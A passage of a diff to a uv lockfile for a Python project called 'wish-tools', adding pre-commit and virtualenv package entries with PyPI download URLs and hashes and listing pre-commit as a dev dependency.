{ url = "https://files.pythonhosted.org/packages/88/5f/e351af9a41f866ac3f1fac4ca0613908d9a41741cfcf2228f4ad853b697d/pluggy-1.5.0-py3-none-any.whl", hash = "sha256:44e1ad92c8ca002de6377e165f3e0f1be63266ab4d554740532335b9d75ea669", size = 20556 },
]
+[[package]]
+name = "pre-commit"
+version = "4.2.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "cfgv" },
+ { name = "identify" },
+ { name = "nodeenv" },
+ { name = "pyyaml" },
+ { name = "virtualenv" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/08/39/679ca9b26c7bb2999ff122d50faa301e49af82ca9c066ec061cfbc0c6784/pre_commit-4.2.0.tar.gz", hash = "sha256:601283b9757afd87d40c4c4a9b2b5de9637a8ea02eaff7adc2d0fb4e04841146", size = 193424 }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/88/74/a88bf1b1efeae488a0c0b7bdf71429c313722d1fc0f377537fbe554e6180/pre_commit-4.2.0-py2.py3-none-any.whl", hash = "sha256:a009ca7205f1eb497d10b845e52c838a98b6cdd2102a6c8e4540e94ee75c58bd", size = 220707 },
+]
+
[[package]]
name = "pycparser"
version = "2.22"
@@ -827,6 +897,20 @@ wheels = [
{ url = "https://files.pythonhosted.org/packages/6b/11/cc635220681e93a0183390e26485430ca2c7b5f9d33b15c74c2861cb8091/urllib3-2.4.0-py3-none-any.whl", hash = "sha256:4e16665048960a0900c702d4a66415956a584919c03361cac9f1df5c5dd7e813", size = 128680 },
]
+[[package]]
+name = "virtualenv"
+version = "20.31.2"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "distlib" },
+ { name = "filelock" },
+ { name = "platformdirs" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/56/2c/444f465fb2c65f40c3a104fd0c495184c4f2336d65baf398e3c75d72ea94/virtualenv-20.31.2.tar.gz", hash = "sha256:e10c0a9d02835e592521be48b332b6caee6887f332c111aa79a09b9e79efc2af", size = 6076316 }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/f3/40/b1c265d4b2b62b58576588510fc4d1fe60a86319c8de99fd8e9fec617d2c/virtualenv-20.31.2-py3-none-any.whl", hash = "sha256:36efd0d9650ee985f0cad72065001e66d49a6f24eb44d98980f630686243cf11", size = 6057982 },
+]
+
[[package]]
name = "wish-tools"
version = "0.1.0"
@@ -841,6 +925,7 @@ dependencies = [
dev = [
{ name = "factory-boy" },
{ name = "graphviz" },
+ { name = "pre-commit" },
{ name = "pytest" },
{ name = "pytest-asyncio" },
{ name = "ruff" },
@@ -857,6 +942,7 @@ requires-dist = [
dev = [
{ name = "factory-boy", specifier = ">=3.3.1" },
{ name = "graphviz", specifier = ">=0.20.1" },
+ { name = "pre-commit", specifier = ">=3.6.0" },
{ name = "pytest", specifier = ">=8.3.4" },
{ name = "pytest-asyncio", specifier = ">=0.25.2" },
{ name = "ruff", specifier = ">=0.9.8" },